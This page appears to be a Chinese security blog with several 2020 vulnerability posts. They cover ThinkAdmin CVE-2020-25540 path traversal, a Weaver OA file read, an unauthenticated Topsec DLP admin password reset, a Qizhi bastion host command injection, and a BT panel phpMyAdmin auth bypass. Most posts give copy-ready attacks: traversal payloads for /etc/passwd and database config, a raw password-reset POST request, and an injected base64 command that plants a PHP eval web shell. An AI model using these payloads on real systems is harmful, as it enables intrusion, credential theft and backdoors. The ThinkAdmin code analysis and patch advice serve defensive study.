ThinkAdmin v5和v6 未授权列目录/任意文件读取(CVE-2020-25540)

首先声明:内容来自ThinkAdmin的GitHub的官方项目的issue 由 @Hzllaga 师傅提供.

0x1.漏洞简介

ThinkAdmin是一套基于ThinkPHP框架的通用后台管理系统。ThinkAdmin v6版本存在路径遍历漏洞。攻击者可利用该漏洞通过GET请求编码参数任意读取远程服务器上的文件。

0x2.影响范围

Thinkadmin ≤ 2020.08.03.01

0x3.漏洞分析复现

app/admin/controller/api/Update.php存在3个function,都是不用登录认证就可以使用的,引用列表如下:

namespace app\admin\controller\api;

use think\admin\Controller;

use think\admin\service\InstallService;

use think\admin\service\ModuleService;

version()可以获取到当前版本:2020.08.03.01,≤这个版本的都有可能存在漏洞

URL:http://think.admin/ThinkAdmin/public/admin.html?s=admin/api.Update/version

列目录

node():

/**
* 读取文件列表
*/
public function node()
{
    $this->success('获取文件列表成功!', InstallService::instance()->getList(
        json_decode($this->request->post('rules', '[]', ''), true),
        json_decode($this->request->post('ignore', '[]', ''), true)
    ));
}

直接把POST的rules和ignore参数传给InstallService::instance()->getList(),根据上面的use引用可以知道文件路径在vendor/zoujingli/think-library/src/service/InstallService.php:

/**
 * 获取文件信息列表
 * @param array $rules 文件规则
 * @param array $ignore 忽略规则
 * @param array $data 扫描结果列表
 * @return array
 */
public function getList(array $rules, array $ignore = [], array $data = []): array
{
    // 扫描规则文件
    foreach ($rules as $key => $rule) {
        $name = strtr(trim($rule, '\\/'), '\\', '/');
        $data = array_merge($data, $this->_scanList($this->root . $name));
    }
    // 清除忽略文件
    foreach ($data as $key => $item) foreach ($ignore as $ign) {
        if (stripos($item['name'], $ign) === 0) unset($data[$key]);
    }
    // 返回文件数据
    return ['rules' => $rules, 'ignore' => $ignore, 'list' => $data];
}

$ignore可以不用关注,他会透过_scanList()去遍历$rules数组,调用scanDirectory()去递归遍历目录下的文件,最后在透过_getInfo()去获取文件名与哈希,由下面代码可以知道程序没有任何验证,攻击者可以在未授权的情况下读取服务器的文件列表。

/**
 * 获取目录文件列表
 * @param string $path 待扫描目录
 * @param array $data 扫描结果
 * @return array
 */
private function _scanList($path, $data = []): array
{
    foreach (NodeService::instance()->scanDirectory($path, [], null) as $file) {
        $data[] = $this->_getInfo(strtr($file, '\\', '/'));
    }
    return $data;
}
/**
 * 获取所有PHP文件列表
 * @param string $path 扫描目录
 * @param array $data 额外数据
 * @param string $ext 文件后缀
 * @return array
 */
public function scanDirectory($path, $data = [], $ext = 'php')
{
    if (file_exists($path)) if (is_file($path)) $data[] = $path;
    elseif (is_dir($path)) foreach (scandir($path) as $item) if ($item[0] !== '.') {
        $realpath = rtrim($path, '\\/') . DIRECTORY_SEPARATOR . $item;
        if (is_readable($realpath)) if (is_dir($realpath)) {
            $data = $this->scanDirectory($realpath, $data, $ext);
        } elseif (is_file($realpath) && (is_null($ext) || pathinfo($realpath, 4) === $ext)) {
            $data[] = strtr($realpath, '\\', '/');
        }
    }
    return $data;
}
/**
 * 获取指定文件信息
 * @param string $path 文件路径
 * @return array
 */
private function _getInfo($path): array
{
    return [
        'name' => str_replace($this->root, '', $path),
        'hash' => md5(preg_replace('/\s+/', '', file_get_contents($path))),
    ];
}

读取网站根目录Payload: http://think.admin/ThinkAdmin/public/admin.html?s=admin/api.Update/node

POST:

rules=["/"]

也可以使用../来进行目录穿越

rules=["../../../"]

演示站:

list_files.png


任意文件读取

get():

/**
 * 读取文件内容
 */
public function get()
{
    $filename = decode(input('encode', '0'));
    if (!ModuleService::instance()->checkAllowDownload($filename)) {
        $this->error('下载的文件不在认证规则中!');
    }
    if (file_exists($realname = $this->app->getRootPath() . $filename)) {
        $this->success('读取文件内容成功!', [
            'content' => base64_encode(file_get_contents($realname)),
        ]);
    } else {
        $this->error('读取文件内容失败!');
    }
}

首先从GET读取encode参数并使用decode()解码:

/**
 * 解密 UTF8 字符串
 * @param string $content
 * @return string
 */
function decode($content)
{
    $chars = '';
    foreach (str_split($content, 2) as $char) {
        $chars .= chr(intval(base_convert($char, 36, 10)));
    }
    return iconv('GBK//TRANSLIT', 'UTF-8', $chars);
}

解密UTF8字符串的,刚好上面有个加密UTF8字符串的encode(),攻击时直接调用那个就可以了:

/**
 * 加密 UTF8 字符串
 * @param string $content
 * @return string
 */
function encode($content)
{
    [$chars, $length] = ['', strlen($string = iconv('UTF-8', 'GBK//TRANSLIT', $content))];
    for ($i = 0; $i < $length; $i++) $chars .= str_pad(base_convert(ord($string[$i]), 10, 36), 2, 0, 0);
    return $chars;
}

跟进ModuleService::instance()->checkAllowDownload(),文件路径vendor/zoujingli/think-library/src/service/ModuleService.php:

/**
 * 检查文件是否可下载
 * @param string $name 文件名称
 * @return boolean
 */
public function checkAllowDownload($name): bool
{
    // 禁止下载数据库配置文件
    if (stripos($name, 'database.php') !== false) {
        return false;
    }
    // 检查允许下载的文件规则
    foreach ($this->getAllowDownloadRule() as $rule) {
        if (stripos($name, $rule) !== false) return true;
    }
    // 不在允许下载的文件规则
    return false;
}

首先$name不能够是database.php,接着跟进getAllowDownloadRule():

/**
 * 获取允许下载的规则
 * @return array
 */
public function getAllowDownloadRule(): array
{
    $data = $this->app->cache->get('moduleAllowRule', []);
    if (is_array($data) && count($data) > 0) return $data;
    $data = ['config', 'public/static', 'public/router.php', 'public/index.php'];
    foreach (array_keys($this->getModules()) as $name) $data[] = "app/{$name}";
    $this->app->cache->set('moduleAllowRule', $data, 30);
    return $data;
}

有一个允许的列表:

config

public/static

public/router.php

public/index.php

app/admin

app/wechat

也就是说$name必须要不是database.php且要在允许列表内的文件才能够被读取,先绕过安全列表的限制,比如读取根目录的1.txt,只需要传入:

public/static/../../1.txt

而database.php的限制在Linux下应该是没办法绕过的,但是在Windows下可以透过"来替换.,也就是传入:

public/static/../../config/database"php

对应encode()后的结果为:

34392q302x2r1b37382p382x2r1b1a1a1b1a1a1b2r33322u2x2v1b2s2p382p2q2p372t0y342w34

Windows读取database.php:

read_db.png

演示站读取/etc/passwd:

read_etc_passwd.png

v5连允许列表都没有,可以直接读任意文件。

0x4.漏洞修复

临时方案:

fix.png

升级到最新版!

来源:https://github.com/zoujingli/ThinkAdmin/issues/244


Mrxn 发布于 2020-9-16 21:21

泛微OA云桥任意文件读取漏洞

泛微0A的这个漏洞利用/wxjsapi/saveYZJFile接口获取filepath,返回数据包内出现了程序的绝对路径,攻击者可以通过返回内容识别程序运行路径从而下载数据库配置文件危害可见。


1、downloadUrl参数修改成需要获取文件的绝对路径,记录返回包中的id值。

6E7F6ABE-E697-42B4-80B4-1A50A615961B.jpeg


2、通过查看文件接口访问 /file/fileNoLogin/id

4B7248E9-87D1-4A45-866B-6E153145E84D.jpeg

可参考微步的情报:

weibu.png

weibu2.png



Mrxn 发布于 2020-9-12 19:58

天融信数据防泄漏系统越权修改管理员密码

EEE26ECA-6A7F-4BA2-A274-713511D57CA5.jpeg


无需登录权限,由于修改密码处未校验原密码,且/?module=auth_user&action=mod_edit_pwd

接口未授权访问,造成直接修改任意用户密码。:默认superman账户uid为1。


POST /?module=auth_user&action=mod_edit_pwd

Cookie: username=superman;


uid=1&pd=Newpasswd&mod_pwd=1&dlp_perm=1


Mrxn 发布于 2020-9-12 07:55

齐治堡垒机前台远程命令执行漏洞

齐治堡垒机前台远程命令执行漏洞(CNVD-2019-20835)

未授权无需登录。

B3871B35-D8B3-4095-8032-D7512B3C6FDF.jpeg

1、访问 http://10.20.10.11/listener/cluster_manage.php  :返回 "OK".

2、访问如下链接即可getshell,执行成功后,生成PHP一句话马

3、/var/www/shterm/resources/qrcode/lbj77.php  密码10086

https://10.20.10.10/ha_request.php?action=install&ipaddr=10.20.10.11&node_id=1${IFS}|`echo${IFS}" ZWNobyAnPD9waHAgQGV2YWwoJF9SRVFVRVNUWzEwMDg2XSk7Pz4nPj4vdmFyL3d3dy9zaHRlcm0vcmVzb3VyY2VzL3FyY29kZS9sYmo3Ny5waHAK"|base64${IFS}- d|bash`|${IFS}|echo${IFS}


Mrxn 发布于 2020-9-12 07:41

【0day】宝塔面板phpmyadmin未授权访问(实际上是个逻辑错误)漏洞

宝塔刚刚发布紧急更新:

【紧急更新】宝塔Linux面板 - 8月23日更新 - 7.4.3正式版 

更新日志:
1、紧急修正一处安全风险
此次更新为紧急安全更新,请7.4.2的用户务必更新到最新版。

具体就是在宝塔7.4.2的Linux版本和windows面板 6.8安装了phpmyadmin的鉴权问题(其他版本不影响),导致只需要在phpmyadmin的端口(默认是888)加上/pma/即可访问:
宝塔面板phpmyadmin鉴权漏洞.png 
请大家赶紧自查!更新!
更新地址:https://www.bt.cn/bbs/thread-54644-1-1.html
详细的漏洞原因,在p牛的公众号有分析说明。

建议一般不用一直开着的服务最好用完即关,养成良好习惯。
再见

Mrxn 发布于 2020-8-23 20:00

搜索

日历

标签